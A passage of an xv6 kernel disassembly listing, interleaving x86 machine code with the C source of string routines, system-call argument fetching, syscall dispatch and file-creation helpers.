80104005: f3 ab rep stos %eax,%es:(%edi)
}
80104007: eb 05 jmp 8010400e <memset+0x41>
asm volatile("cld; rep stosb" :
80104009: 89 d7 mov %edx,%edi
8010400b: fc cld
8010400c: f3 aa rep stos %al,%es:(%edi)
} else
stosb(dst, c, n);
return dst;
}
8010400e: 89 d0 mov %edx,%eax
80104010: 5b pop %ebx
80104011: 5f pop %edi
80104012: 5d pop %ebp
80104013: c3 ret
80104014 <memcmp>:
int
memcmp(const void *v1, const void *v2, uint n)
{
80104014: f3 0f 1e fb endbr32
80104018: 55 push %ebp
80104019: 89 e5 mov %esp,%ebp
8010401b: 56 push %esi
8010401c: 53 push %ebx
8010401d: 8b 4d 08 mov 0x8(%ebp),%ecx
80104020: 8b 55 0c mov 0xc(%ebp),%edx
80104023: 8b 45 10 mov 0x10(%ebp),%eax
const uchar *s1, *s2;
s1 = v1;
s2 = v2;
while(n-- > 0){
80104026: 8d 70 ff lea -0x1(%eax),%esi
80104029: 85 c0 test %eax,%eax
8010402b: 74 1c je 80104049 <memcmp+0x35>
if(*s1 != *s2)
8010402d: 0f b6 01 movzbl (%ecx),%eax
80104030: 0f b6 1a movzbl (%edx),%ebx
80104033: 38 d8 cmp %bl,%al
80104035: 75 0a jne 80104041 <memcmp+0x2d>
return *s1 - *s2;
s1++, s2++;
80104037: 83 c1 01 add $0x1,%ecx
8010403a: 83 c2 01 add $0x1,%edx
while(n-- > 0){
8010403d: 89 f0 mov %esi,%eax
8010403f: eb e5 jmp 80104026 <memcmp+0x12>
return *s1 - *s2;
80104041: 0f b6 c0 movzbl %al,%eax
80104044: 0f b6 db movzbl %bl,%ebx
80104047: 29 d8 sub %ebx,%eax
}
return 0;
}
80104049: 5b pop %ebx
8010404a: 5e pop %esi
8010404b: 5d pop %ebp
8010404c: c3 ret
8010404d <memmove>:
void*
memmove(void *dst, const void *src, uint n)
{
8010404d: f3 0f 1e fb endbr32
80104051: 55 push %ebp
80104052: 89 e5 mov %esp,%ebp
80104054: 56 push %esi
80104055: 53 push %ebx
80104056: 8b 75 08 mov 0x8(%ebp),%esi
80104059: 8b 55 0c mov 0xc(%ebp),%edx
8010405c: 8b 45 10 mov 0x10(%ebp),%eax
const char *s;
char *d;
s = src;
d = dst;
if(s < d && s + n > d){
8010405f: 39 f2 cmp %esi,%edx
80104061: 73 3a jae 8010409d <memmove+0x50>
80104063: 8d 0c 02 lea (%edx,%eax,1),%ecx
80104066: 39 f1 cmp %esi,%ecx
80104068: 76 37 jbe 801040a1 <memmove+0x54>
s += n;
d += n;
8010406a: 8d 14 06 lea (%esi,%eax,1),%edx
while(n-- > 0)
8010406d: 8d 58 ff lea -0x1(%eax),%ebx
80104070: 85 c0 test %eax,%eax
80104072: 74 23 je 80104097 <memmove+0x4a>
*--d = *--s;
80104074: 83 e9 01 sub $0x1,%ecx
80104077: 83 ea 01 sub $0x1,%edx
8010407a: 0f b6 01 movzbl (%ecx),%eax
8010407d: 88 02 mov %al,(%edx)
while(n-- > 0)
8010407f: 89 d8 mov %ebx,%eax
80104081: eb ea jmp 8010406d <memmove+0x20>
} else
while(n-- > 0)
*d++ = *s++;
80104083: 0f b6 02 movzbl (%edx),%eax
80104086: 88 01 mov %al,(%ecx)
80104088: 8d 49 01 lea 0x1(%ecx),%ecx
8010408b: 8d 52 01 lea 0x1(%edx),%edx
while(n-- > 0)
8010408e: 89 d8 mov %ebx,%eax
80104090: 8d 58 ff lea -0x1(%eax),%ebx
80104093: 85 c0 test %eax,%eax
80104095: 75 ec jne 80104083 <memmove+0x36>
return dst;
}
80104097: 89 f0 mov %esi,%eax
80104099: 5b pop %ebx
8010409a: 5e pop %esi
8010409b: 5d pop %ebp
8010409c: c3 ret
8010409d: 89 f1 mov %esi,%ecx
8010409f: eb ef jmp 80104090 <memmove+0x43>
801040a1: 89 f1 mov %esi,%ecx
801040a3: eb eb jmp 80104090 <memmove+0x43>
801040a5 <memcpy>:
// memcpy exists to placate GCC. Use memmove.
void*
memcpy(void *dst, const void *src, uint n)
{
801040a5: f3 0f 1e fb endbr32
801040a9: 55 push %ebp
801040aa: 89 e5 mov %esp,%ebp
801040ac: 83 ec 0c sub $0xc,%esp
return memmove(dst, src, n);
801040af: ff 75 10 pushl 0x10(%ebp)
801040b2: ff 75 0c pushl 0xc(%ebp)
801040b5: ff 75 08 pushl 0x8(%ebp)
801040b8: e8 90 ff ff ff call 8010404d <memmove>
}
801040bd: c9 leave
801040be: c3 ret
801040bf <strncmp>:
int
strncmp(const char *p, const char *q, uint n)
{
801040bf: f3 0f 1e fb endbr32
801040c3: 55 push %ebp
801040c4: 89 e5 mov %esp,%ebp
801040c6: 53 push %ebx
801040c7: 8b 55 08 mov 0x8(%ebp),%edx
801040ca: 8b 4d 0c mov 0xc(%ebp),%ecx
801040cd: 8b 45 10 mov 0x10(%ebp),%eax
while(n > 0 && *p && *p == *q)
801040d0: eb 09 jmp 801040db <strncmp+0x1c>
n--, p++, q++;
801040d2: 83 e8 01 sub $0x1,%eax
801040d5: 83 c2 01 add $0x1,%edx
801040d8: 83 c1 01 add $0x1,%ecx
while(n > 0 && *p && *p == *q)
801040db: 85 c0 test %eax,%eax
801040dd: 74 0b je 801040ea <strncmp+0x2b>
801040df: 0f b6 1a movzbl (%edx),%ebx
801040e2: 84 db test %bl,%bl
801040e4: 74 04 je 801040ea <strncmp+0x2b>
801040e6: 3a 19 cmp (%ecx),%bl
801040e8: 74 e8 je 801040d2 <strncmp+0x13>
if(n == 0)
801040ea: 85 c0 test %eax,%eax
801040ec: 74 0b je 801040f9 <strncmp+0x3a>
return 0;
return (uchar)*p - (uchar)*q;
801040ee: 0f b6 02 movzbl (%edx),%eax
801040f1: 0f b6 11 movzbl (%ecx),%edx
801040f4: 29 d0 sub %edx,%eax
}
801040f6: 5b pop %ebx
801040f7: 5d pop %ebp
801040f8: c3 ret
return 0;
801040f9: b8 00 00 00 00 mov $0x0,%eax
801040fe: eb f6 jmp 801040f6 <strncmp+0x37>
80104100 <strncpy>:
char*
strncpy(char *s, const char *t, int n)
{
80104100: f3 0f 1e fb endbr32
80104104: 55 push %ebp
80104105: 89 e5 mov %esp,%ebp
80104107: 57 push %edi
80104108: 56 push %esi
80104109: 53 push %ebx
8010410a: 8b 7d 08 mov 0x8(%ebp),%edi
8010410d: 8b 4d 0c mov 0xc(%ebp),%ecx
80104110: 8b 45 10 mov 0x10(%ebp),%eax
char *os;
os = s;
while(n-- > 0 && (*s++ = *t++) != 0)
80104113: 89 fa mov %edi,%edx
80104115: eb 04 jmp 8010411b <strncpy+0x1b>
80104117: 89 f1 mov %esi,%ecx
80104119: 89 da mov %ebx,%edx
8010411b: 89 c3 mov %eax,%ebx
8010411d: 83 e8 01 sub $0x1,%eax
80104120: 85 db test %ebx,%ebx
80104122: 7e 1b jle 8010413f <strncpy+0x3f>
80104124: 8d 71 01 lea 0x1(%ecx),%esi
80104127: 8d 5a 01 lea 0x1(%edx),%ebx
8010412a: 0f b6 09 movzbl (%ecx),%ecx
8010412d: 88 0a mov %cl,(%edx)
8010412f: 84 c9 test %cl,%cl
80104131: 75 e4 jne 80104117 <strncpy+0x17>
80104133: 89 da mov %ebx,%edx
80104135: eb 08 jmp 8010413f <strncpy+0x3f>
;
while(n-- > 0)
*s++ = 0;
80104137: c6 02 00 movb $0x0,(%edx)
while(n-- > 0)
8010413a: 89 c8 mov %ecx,%eax
*s++ = 0;
8010413c: 8d 52 01 lea 0x1(%edx),%edx
while(n-- > 0)
8010413f: 8d 48 ff lea -0x1(%eax),%ecx
80104142: 85 c0 test %eax,%eax
80104144: 7f f1 jg 80104137 <strncpy+0x37>
return os;
}
80104146: 89 f8 mov %edi,%eax
80104148: 5b pop %ebx
80104149: 5e pop %esi
8010414a: 5f pop %edi
8010414b: 5d pop %ebp
8010414c: c3 ret
8010414d <safestrcpy>:
// Like strncpy but guaranteed to NUL-terminate.
char*
safestrcpy(char *s, const char *t, int n)
{
8010414d: f3 0f 1e fb endbr32
80104151: 55 push %ebp
80104152: 89 e5 mov %esp,%ebp
80104154: 57 push %edi
80104155: 56 push %esi
80104156: 53 push %ebx
80104157: 8b 7d 08 mov 0x8(%ebp),%edi
8010415a: 8b 4d 0c mov 0xc(%ebp),%ecx
8010415d: 8b 45 10 mov 0x10(%ebp),%eax
char *os;
os = s;
if(n <= 0)
80104160: 85 c0 test %eax,%eax
80104162: 7e 23 jle 80104187 <safestrcpy+0x3a>
80104164: 89 fa mov %edi,%edx
80104166: eb 04 jmp 8010416c <safestrcpy+0x1f>
return os;
while(--n > 0 && (*s++ = *t++) != 0)
80104168: 89 f1 mov %esi,%ecx
8010416a: 89 da mov %ebx,%edx
8010416c: 83 e8 01 sub $0x1,%eax
8010416f: 85 c0 test %eax,%eax
80104171: 7e 11 jle 80104184 <safestrcpy+0x37>
80104173: 8d 71 01 lea 0x1(%ecx),%esi
80104176: 8d 5a 01 lea 0x1(%edx),%ebx
80104179: 0f b6 09 movzbl (%ecx),%ecx
8010417c: 88 0a mov %cl,(%edx)
8010417e: 84 c9 test %cl,%cl
80104180: 75 e6 jne 80104168 <safestrcpy+0x1b>
80104182: 89 da mov %ebx,%edx
;
*s = 0;
80104184: c6 02 00 movb $0x0,(%edx)
return os;
}
80104187: 89 f8 mov %edi,%eax
80104189: 5b pop %ebx
8010418a: 5e pop %esi
8010418b: 5f pop %edi
8010418c: 5d pop %ebp
8010418d: c3 ret
8010418e <strlen>:
int
strlen(const char *s)
{
8010418e: f3 0f 1e fb endbr32
80104192: 55 push %ebp
80104193: 89 e5 mov %esp,%ebp
80104195: 8b 55 08 mov 0x8(%ebp),%edx
int n;
for(n = 0; s[n]; n++)
80104198: b8 00 00 00 00 mov $0x0,%eax
8010419d: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1)
801041a1: 74 05 je 801041a8 <strlen+0x1a>
801041a3: 83 c0 01 add $0x1,%eax
801041a6: eb f5 jmp 8010419d <strlen+0xf>
;
return n;
}
801041a8: 5d pop %ebp
801041a9: c3 ret
801041aa <swtch>:
# a struct context, and save its address in *old.
# Switch stacks to new and pop previously-saved registers.
.globl swtch
swtch:
movl 4(%esp), %eax
801041aa: 8b 44 24 04 mov 0x4(%esp),%eax
movl 8(%esp), %edx
801041ae: 8b 54 24 08 mov 0x8(%esp),%edx
# Save old callee-saved registers
pushl %ebp
801041b2: 55 push %ebp
pushl %ebx
801041b3: 53 push %ebx
pushl %esi
801041b4: 56 push %esi
pushl %edi
801041b5: 57 push %edi
# Switch stacks
movl %esp, (%eax)
801041b6: 89 20 mov %esp,(%eax)
movl %edx, %esp
801041b8: 89 d4 mov %edx,%esp
# Load new callee-saved registers
popl %edi
801041ba: 5f pop %edi
popl %esi
801041bb: 5e pop %esi
popl %ebx
801041bc: 5b pop %ebx
popl %ebp
801041bd: 5d pop %ebp
ret
801041be: c3 ret
801041bf <fetchint>:
// to a saved program counter, and then the first argument.
// Fetch the int at addr from the current process.
int
fetchint(uint addr, int *ip)
{
801041bf: f3 0f 1e fb endbr32
801041c3: 55 push %ebp
801041c4: 89 e5 mov %esp,%ebp
801041c6: 53 push %ebx
801041c7: 83 ec 04 sub $0x4,%esp
801041ca: 8b 5d 08 mov 0x8(%ebp),%ebx
struct proc *curproc = myproc();
801041cd: e8 f3 f0 ff ff call 801032c5 <myproc>
if(addr >= curproc->sz || addr+4 > curproc->sz)
801041d2: 8b 00 mov (%eax),%eax
801041d4: 39 d8 cmp %ebx,%eax
801041d6: 76 19 jbe 801041f1 <fetchint+0x32>
801041d8: 8d 53 04 lea 0x4(%ebx),%edx
801041db: 39 d0 cmp %edx,%eax
801041dd: 72 19 jb 801041f8 <fetchint+0x39>
return -1;
*ip = *(int*)(addr);
801041df: 8b 13 mov (%ebx),%edx
801041e1: 8b 45 0c mov 0xc(%ebp),%eax
801041e4: 89 10 mov %edx,(%eax)
return 0;
801041e6: b8 00 00 00 00 mov $0x0,%eax
}
801041eb: 83 c4 04 add $0x4,%esp
801041ee: 5b pop %ebx
801041ef: 5d pop %ebp
801041f0: c3 ret
return -1;
801041f1: b8 ff ff ff ff mov $0xffffffff,%eax
801041f6: eb f3 jmp 801041eb <fetchint+0x2c>
801041f8: b8 ff ff ff ff mov $0xffffffff,%eax
801041fd: eb ec jmp 801041eb <fetchint+0x2c>
801041ff <fetchstr>:
// Fetch the nul-terminated string at addr from the current process.
// Doesn't actually copy the string - just sets *pp to point at it.
// Returns length of string, not including nul.
int
fetchstr(uint addr, char **pp)
{
801041ff: f3 0f 1e fb endbr32
80104203: 55 push %ebp
80104204: 89 e5 mov %esp,%ebp
80104206: 53 push %ebx
80104207: 83 ec 04 sub $0x4,%esp
8010420a: 8b 5d 08 mov 0x8(%ebp),%ebx
char *s, *ep;
struct proc *curproc = myproc();
8010420d: e8 b3 f0 ff ff call 801032c5 <myproc>
if(addr >= curproc->sz)
80104212: 39 18 cmp %ebx,(%eax)
80104214: 76 26 jbe 8010423c <fetchstr+0x3d>
return -1;
*pp = (char*)addr;
80104216: 8b 55 0c mov 0xc(%ebp),%edx
80104219: 89 1a mov %ebx,(%edx)
ep = (char*)curproc->sz;
8010421b: 8b 10 mov (%eax),%edx
for(s = *pp; s < ep; s++){
8010421d: 89 d8 mov %ebx,%eax
8010421f: 39 d0 cmp %edx,%eax
80104221: 73 0e jae 80104231 <fetchstr+0x32>
if(*s == 0)
80104223: 80 38 00 cmpb $0x0,(%eax)
80104226: 74 05 je 8010422d <fetchstr+0x2e>
for(s = *pp; s < ep; s++){
80104228: 83 c0 01 add $0x1,%eax
8010422b: eb f2 jmp 8010421f <fetchstr+0x20>
return s - *pp;
8010422d: 29 d8 sub %ebx,%eax
8010422f: eb 05 jmp 80104236 <fetchstr+0x37>
}
return -1;
80104231: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104236: 83 c4 04 add $0x4,%esp
80104239: 5b pop %ebx
8010423a: 5d pop %ebp
8010423b: c3 ret
return -1;
8010423c: b8 ff ff ff ff mov $0xffffffff,%eax
80104241: eb f3 jmp 80104236 <fetchstr+0x37>
80104243 <argint>:
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
80104243: f3 0f 1e fb endbr32
80104247: 55 push %ebp
80104248: 89 e5 mov %esp,%ebp
8010424a: 83 ec 08 sub $0x8,%esp
return fetchint((myproc()->tf->esp) + 4 + 4*n, ip);
8010424d: e8 73 f0 ff ff call 801032c5 <myproc>
80104252: 8b 50 18 mov 0x18(%eax),%edx
80104255: 8b 45 08 mov 0x8(%ebp),%eax
80104258: c1 e0 02 shl $0x2,%eax
8010425b: 03 42 44 add 0x44(%edx),%eax
8010425e: 83 ec 08 sub $0x8,%esp
80104261: ff 75 0c pushl 0xc(%ebp)
80104264: 83 c0 04 add $0x4,%eax
80104267: 50 push %eax
80104268: e8 52 ff ff ff call 801041bf <fetchint>
}
8010426d: c9 leave
8010426e: c3 ret
8010426f <argptr>:
// Fetch the nth word-sized system call argument as a pointer
// to a block of memory of size bytes. Check that the pointer
// lies within the process address space.
int
argptr(int n, char **pp, int size)
{
8010426f: f3 0f 1e fb endbr32
80104273: 55 push %ebp
80104274: 89 e5 mov %esp,%ebp
80104276: 56 push %esi
80104277: 53 push %ebx
80104278: 83 ec 10 sub $0x10,%esp
8010427b: 8b 5d 10 mov 0x10(%ebp),%ebx
int i;
struct proc *curproc = myproc();
8010427e: e8 42 f0 ff ff call 801032c5 <myproc>
80104283: 89 c6 mov %eax,%esi
if(argint(n, &i) < 0)
80104285: 83 ec 08 sub $0x8,%esp
80104288: 8d 45 f4 lea -0xc(%ebp),%eax
8010428b: 50 push %eax
8010428c: ff 75 08 pushl 0x8(%ebp)
8010428f: e8 af ff ff ff call 80104243 <argint>
80104294: 83 c4 10 add $0x10,%esp
80104297: 85 c0 test %eax,%eax
80104299: 78 24 js 801042bf <argptr+0x50>
return -1;
if(size < 0 || (uint)i >= curproc->sz || (uint)i+size > curproc->sz)
8010429b: 85 db test %ebx,%ebx
8010429d: 78 27 js 801042c6 <argptr+0x57>
8010429f: 8b 16 mov (%esi),%edx
801042a1: 8b 45 f4 mov -0xc(%ebp),%eax
801042a4: 39 c2 cmp %eax,%edx
801042a6: 76 25 jbe 801042cd <argptr+0x5e>
801042a8: 01 c3 add %eax,%ebx
801042aa: 39 da cmp %ebx,%edx
801042ac: 72 26 jb 801042d4 <argptr+0x65>
return -1;
*pp = (char*)i;
801042ae: 8b 55 0c mov 0xc(%ebp),%edx
801042b1: 89 02 mov %eax,(%edx)
return 0;
801042b3: b8 00 00 00 00 mov $0x0,%eax
}
801042b8: 8d 65 f8 lea -0x8(%ebp),%esp
801042bb: 5b pop %ebx
801042bc: 5e pop %esi
801042bd: 5d pop %ebp
801042be: c3 ret
return -1;
801042bf: b8 ff ff ff ff mov $0xffffffff,%eax
801042c4: eb f2 jmp 801042b8 <argptr+0x49>
return -1;
801042c6: b8 ff ff ff ff mov $0xffffffff,%eax
801042cb: eb eb jmp 801042b8 <argptr+0x49>
801042cd: b8 ff ff ff ff mov $0xffffffff,%eax
801042d2: eb e4 jmp 801042b8 <argptr+0x49>
801042d4: b8 ff ff ff ff mov $0xffffffff,%eax
801042d9: eb dd jmp 801042b8 <argptr+0x49>
801042db <argstr>:
// Check that the pointer is valid and the string is nul-terminated.
// (There is no shared writable memory, so the string can't change
// between this check and being used by the kernel.)
int
argstr(int n, char **pp)
{
801042db: f3 0f 1e fb endbr32
801042df: 55 push %ebp
801042e0: 89 e5 mov %esp,%ebp
801042e2: 83 ec 20 sub $0x20,%esp
int addr;
if(argint(n, &addr) < 0)
801042e5: 8d 45 f4 lea -0xc(%ebp),%eax
801042e8: 50 push %eax
801042e9: ff 75 08 pushl 0x8(%ebp)
801042ec: e8 52 ff ff ff call 80104243 <argint>
801042f1: 83 c4 10 add $0x10,%esp
801042f4: 85 c0 test %eax,%eax
801042f6: 78 13 js 8010430b <argstr+0x30>
return -1;
return fetchstr(addr, pp);
801042f8: 83 ec 08 sub $0x8,%esp
801042fb: ff 75 0c pushl 0xc(%ebp)
801042fe: ff 75 f4 pushl -0xc(%ebp)
80104301: e8 f9 fe ff ff call 801041ff <fetchstr>
80104306: 83 c4 10 add $0x10,%esp
}
80104309: c9 leave
8010430a: c3 ret
return -1;
8010430b: b8 ff ff ff ff mov $0xffffffff,%eax
80104310: eb f7 jmp 80104309 <argstr+0x2e>
80104312 <syscall>:
[SYS_close] sys_close,
};
void
syscall(void)
{
80104312: f3 0f 1e fb endbr32
80104316: 55 push %ebp
80104317: 89 e5 mov %esp,%ebp
80104319: 53 push %ebx
8010431a: 83 ec 04 sub $0x4,%esp
int num;
struct proc *curproc = myproc();
8010431d: e8 a3 ef ff ff call 801032c5 <myproc>
80104322: 89 c3 mov %eax,%ebx
num = curproc->tf->eax;
80104324: 8b 40 18 mov 0x18(%eax),%eax
80104327: 8b 40 1c mov 0x1c(%eax),%eax
if(num > 0 && num < NELEM(syscalls) && syscalls[num]) {
8010432a: 8d 50 ff lea -0x1(%eax),%edx
8010432d: 83 fa 16 cmp $0x16,%edx
80104330: 77 17 ja 80104349 <syscall+0x37>
80104332: 8b 14 85 c0 6f 10 80 mov -0x7fef9040(,%eax,4),%edx
80104339: 85 d2 test %edx,%edx
8010433b: 74 0c je 80104349 <syscall+0x37>
curproc->tf->eax = syscalls[num]();
8010433d: ff d2 call *%edx
8010433f: 89 c2 mov %eax,%edx
80104341: 8b 43 18 mov 0x18(%ebx),%eax
80104344: 89 50 1c mov %edx,0x1c(%eax)
80104347: eb 1f jmp 80104368 <syscall+0x56>
} else {
cprintf("%d %s: unknown sys call %d\n",
curproc->pid, curproc->name, num);
80104349: 8d 53 6c lea 0x6c(%ebx),%edx
cprintf("%d %s: unknown sys call %d\n",
8010434c: 50 push %eax
8010434d: 52 push %edx
8010434e: ff 73 10 pushl 0x10(%ebx)
80104351: 68 9d 6f 10 80 push $0x80106f9d
80104356: e8 ce c2 ff ff call 80100629 <cprintf>
curproc->tf->eax = -1;
8010435b: 8b 43 18 mov 0x18(%ebx),%eax
8010435e: c7 40 1c ff ff ff ff movl $0xffffffff,0x1c(%eax)
80104365: 83 c4 10 add $0x10,%esp
}
}
80104368: 8b 5d fc mov -0x4(%ebp),%ebx
8010436b: c9 leave
8010436c: c3 ret
8010436d <argfd>:
// Fetch the nth word-sized system call argument as a file descriptor
// and return both the descriptor and the corresponding struct file.
static int
argfd(int n, int *pfd, struct file **pf)
{
8010436d: 55 push %ebp
8010436e: 89 e5 mov %esp,%ebp
80104370: 56 push %esi
80104371: 53 push %ebx
80104372: 83 ec 18 sub $0x18,%esp
80104375: 89 d6 mov %edx,%esi
80104377: 89 cb mov %ecx,%ebx
int fd;
struct file *f;
if(argint(n, &fd) < 0)
80104379: 8d 55 f4 lea -0xc(%ebp),%edx
8010437c: 52 push %edx
8010437d: 50 push %eax
8010437e: e8 c0 fe ff ff call 80104243 <argint>
80104383: 83 c4 10 add $0x10,%esp
80104386: 85 c0 test %eax,%eax
80104388: 78 35 js 801043bf <argfd+0x52>
return -1;
if(fd < 0 || fd >= NOFILE || (f=myproc()->ofile[fd]) == 0)
8010438a: 83 7d f4 0f cmpl $0xf,-0xc(%ebp)
8010438e: 77 28 ja 801043b8 <argfd+0x4b>
80104390: e8 30 ef ff ff call 801032c5 <myproc>
80104395: 8b 55 f4 mov -0xc(%ebp),%edx
80104398: 8b 44 90 28 mov 0x28(%eax,%edx,4),%eax
8010439c: 85 c0 test %eax,%eax
8010439e: 74 18 je 801043b8 <argfd+0x4b>
return -1;
if(pfd)
801043a0: 85 f6 test %esi,%esi
801043a2: 74 02 je 801043a6 <argfd+0x39>
*pfd = fd;
801043a4: 89 16 mov %edx,(%esi)
if(pf)
801043a6: 85 db test %ebx,%ebx
801043a8: 74 1c je 801043c6 <argfd+0x59>
*pf = f;
801043aa: 89 03 mov %eax,(%ebx)
return 0;
801043ac: b8 00 00 00 00 mov $0x0,%eax
}
801043b1: 8d 65 f8 lea -0x8(%ebp),%esp
801043b4: 5b pop %ebx
801043b5: 5e pop %esi
801043b6: 5d pop %ebp
801043b7: c3 ret
return -1;
801043b8: b8 ff ff ff ff mov $0xffffffff,%eax
801043bd: eb f2 jmp 801043b1 <argfd+0x44>
return -1;
801043bf: b8 ff ff ff ff mov $0xffffffff,%eax
801043c4: eb eb jmp 801043b1 <argfd+0x44>
return 0;
801043c6: b8 00 00 00 00 mov $0x0,%eax
801043cb: eb e4 jmp 801043b1 <argfd+0x44>
801043cd <fdalloc>:
// Allocate a file descriptor for the given file.
// Takes over file reference from caller on success.
static int
fdalloc(struct file *f)
{
801043cd: 55 push %ebp
801043ce: 89 e5 mov %esp,%ebp
801043d0: 53 push %ebx
801043d1: 83 ec 04 sub $0x4,%esp
801043d4: 89 c3 mov %eax,%ebx
int fd;
struct proc *curproc = myproc();
801043d6: e8 ea ee ff ff call 801032c5 <myproc>
801043db: 89 c2 mov %eax,%edx
for(fd = 0; fd < NOFILE; fd++){
801043dd: b8 00 00 00 00 mov $0x0,%eax
801043e2: 83 f8 0f cmp $0xf,%eax
801043e5: 7f 12 jg 801043f9 <fdalloc+0x2c>
if(curproc->ofile[fd] == 0){
801043e7: 83 7c 82 28 00 cmpl $0x0,0x28(%edx,%eax,4)
801043ec: 74 05 je 801043f3 <fdalloc+0x26>
for(fd = 0; fd < NOFILE; fd++){
801043ee: 83 c0 01 add $0x1,%eax
801043f1: eb ef jmp 801043e2 <fdalloc+0x15>
curproc->ofile[fd] = f;
801043f3: 89 5c 82 28 mov %ebx,0x28(%edx,%eax,4)
return fd;
801043f7: eb 05 jmp 801043fe <fdalloc+0x31>
}
}
return -1;
801043f9: b8 ff ff ff ff mov $0xffffffff,%eax
}
801043fe: 83 c4 04 add $0x4,%esp
80104401: 5b pop %ebx
80104402: 5d pop %ebp
80104403: c3 ret
80104404 <isdirempty>:
}
// Is the directory dp empty except for "." and ".." ?
static int
isdirempty(struct inode *dp)
{
80104404: 55 push %ebp
80104405: 89 e5 mov %esp,%ebp
80104407: 56 push %esi
80104408: 53 push %ebx
80104409: 83 ec 10 sub $0x10,%esp
8010440c: 89 c3 mov %eax,%ebx
int off;
struct dirent de;
for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){
8010440e: b8 20 00 00 00 mov $0x20,%eax
80104413: 89 c6 mov %eax,%esi
80104415: 39 43 58 cmp %eax,0x58(%ebx)
80104418: 76 2e jbe 80104448 <isdirempty+0x44>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
8010441a: 6a 10 push $0x10
8010441c: 50 push %eax
8010441d: 8d 45 e8 lea -0x18(%ebp),%eax
80104420: 50 push %eax
80104421: 53 push %ebx
80104422: e8 a9 d3 ff ff call 801017d0 <readi>
80104427: 83 c4 10 add $0x10,%esp
8010442a: 83 f8 10 cmp $0x10,%eax
8010442d: 75 0c jne 8010443b <isdirempty+0x37>
panic("isdirempty: readi");
if(de.inum != 0)
8010442f: 66 83 7d e8 00 cmpw $0x0,-0x18(%ebp)
80104434: 75 1e jne 80104454 <isdirempty+0x50>
for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){
80104436: 8d 46 10 lea 0x10(%esi),%eax
80104439: eb d8 jmp 80104413 <isdirempty+0xf>
panic("isdirempty: readi");
8010443b: 83 ec 0c sub $0xc,%esp
8010443e: 68 20 70 10 80 push $0x80107020
80104443: e8 14 bf ff ff call 8010035c <panic>
return 0;
}
return 1;
80104448: b8 01 00 00 00 mov $0x1,%eax
}
8010444d: 8d 65 f8 lea -0x8(%ebp),%esp
80104450: 5b pop %ebx
80104451: 5e pop %esi
80104452: 5d pop %ebp
80104453: c3 ret
return 0;
80104454: b8 00 00 00 00 mov $0x0,%eax
80104459: eb f2 jmp 8010444d <isdirempty+0x49>
8010445b <create>:
return -1;
}
static struct inode*
create(char *path, short type, short major, short minor)
{
8010445b: 55 push %ebp
8010445c: 89 e5 mov %esp,%ebp
8010445e: 57 push %edi
8010445f: 56 push %esi
80104460: 53 push %ebx
80104461: 83 ec 34 sub $0x34,%esp
80104464: 89 55 d4 mov %edx,-0x2c(%ebp)
80104467: 89 4d d0 mov %ecx,-0x30(%ebp)
8010446a: 8b 7d 08 mov 0x8(%ebp),%edi
struct inode *ip, *dp;
char name[DIRSIZ];
if((dp = nameiparent(path, name)) == 0)
8010446d: 8d 55 da lea -0x26(%ebp),%edx
80104470: 52 push %edx
80104471: 50 push %eax
80104472: e8 f4 d7 ff ff call 80101c6b <nameiparent>
80104477: 89 c6 mov %eax,%esi
80104479: 83 c4 10 add $0x10,%esp
8010447c: 85 c0 test %eax,%eax
8010447e: 0f 84 33 01 00 00 je 801045b7 <create+0x15c>
return 0;
ilock(dp);
80104484: 83 ec 0c sub $0xc,%esp
80104487: 50 push %eax
80104488: e8 3d d1 ff ff call 801015ca <ilock>
if((ip = dirlookup(dp, name, 0)) != 0){
8010448d: 83 c4 0c add $0xc,%esp
80104490: 6a 00 push $0x0
80104492: 8d 45 da lea -0x26(%ebp),%eax
80104495: 50 push %eax
80104496: 56 push %esi
80104497: e8 7d d5 ff ff call 80101a19 <dirlookup>
8010449c: 89 c3 mov %eax,%ebx
8010449e: 83 c4 10 add $0x10,%esp
801044a1: 85 c0 test %eax,%eax
801044a3: 74 3d je 801044e2 <create+0x87>
iunlockput(dp);
801044a5: 83 ec 0c sub $0xc,%esp
801044a8: 56 push %esi
801044a9: e8 cf d2 ff ff call 8010177d <iunlockput>
ilock(ip);
801044ae: 89 1c 24 mov %ebx,(%esp)
801044b1: e8 14 d1 ff ff call 801015ca <ilock>
if(type == T_FILE && ip->type == T_FILE)
801044b6: 83 c4 10 add $0x10,%esp
801044b9: 66 83 7d d4 02 cmpw $0x2,-0x2c(%ebp)
801044be: 75 07 jne 801044c7 <create+0x6c>
801044c0: 66 83 7b 50 02 cmpw $0x2,0x50(%ebx)
801044c5: 74 11 je 801044d8 <create+0x7d>
return ip;
iunlockput(ip);
801044c7: 83 ec 0c sub $0xc,%esp
801044ca: 53 push %ebx
801044cb: e8 ad d2 ff ff call 8010177d <iunlockput>
return 0;
801044d0: 83 c4 10 add $0x10,%esp
801044d3: bb 00 00 00 00 mov $0x0,%ebx
panic("create: dirlink");
iunlockput(dp);
return ip;
}
801044d8: 89 d8 mov %ebx,%eax
801044da: 8d 65 f4 lea -0xc(%ebp),%esp
801044dd: 5b pop %ebx
801044de: 5e pop %esi
801044df: 5f pop %edi
801044e0: 5d pop %ebp
801044e1: c3 ret
if((ip = ialloc(dp->dev, type)) == 0)
801044e2: 83 ec 08 sub $0x8,%esp
801044e5: 0f bf 45 d4 movswl -0x2c(%ebp),%eax
801044e9: 50 push %eax
801044ea: ff 36 pushl (%esi)
801044ec: e8 ca ce ff ff call 801013bb <ialloc>
801044f1: 89 c3 mov %eax,%ebx
801044f3: 83 c4 10 add $0x10,%esp
801044f6: 85 c0 test %eax,%eax
801044f8: 74 52 je 8010454c <create+0xf1>
ilock(ip);
801044fa: 83 ec 0c sub $0xc,%esp
801044fd: 50 push %eax
801044fe: e8 c7 d0 ff ff call 801015ca <ilock>
ip->major = major;
80104503: 0f b7 45 d0 movzwl -0x30(%ebp),%eax
80104507: 66 89 43 52 mov %ax,0x52(%ebx)
ip->minor = minor;
8010450b: 66 89 7b 54 mov %di,0x54(%ebx)
ip->nlink = 1;
8010450f: 66 c7 43 56 01 00 movw $0x1,0x56(%ebx)
iupdate(ip);
80104515: 89 1c 24 mov %ebx,(%esp)
80104518: e8 44 cf ff ff call 80101461 <iupdate>
if(type == T_DIR){ // Create . and .. entries.
8010451d: 83 c4 10 add $0x10,%esp
80104520: 66 83 7d d4 01 cmpw $0x1,-0x2c(%ebp)
